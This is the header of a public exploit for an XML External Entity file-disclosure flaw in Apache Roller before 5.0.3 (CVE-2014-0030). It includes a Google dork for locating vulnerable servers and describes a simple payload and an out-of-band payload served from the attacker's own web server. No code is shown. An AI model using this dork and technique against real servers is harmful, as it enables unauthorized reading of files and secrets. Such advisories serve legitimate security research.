# Exploit Title: Apache Roller 5.0.3 - XML External Entity Injection (File Disclosure)
# Google Dork: intext:"apache roller weblogger version {vulnerable_version_number}"
# Date: 2018-09-05
# Exploit Author: Marko Jokic
# Contact: http://twitter.com/_MarkoJokic
# Vendor Homepage: http://roller.apache.org/
# Software Link: http://archive.apache.org/dist/roller/
# Version: < 5.0.3
# Tested on: Linux Ubuntu 14.04.1
# CVE : CVE-2014-0030

# This exploit lets you read almost any file on a vulnerable server via XXE vulnerability.
# There are two types of payload this exploit is able to use, 'SIMPLE' & 'ADVANCED'.
# 'SIMPLE' payload will work in most cases and will be used by default, if
# server errors out, use 'ADVANCED' payload.
# 'ADVANCED' payload will start local web server and serve malicious XML which
# will be parsed by a target server.
# To successfully perform attack with 'ADVANCED' payload, make sure that port
# you listen on (--lport flag) is accessible out of the network.
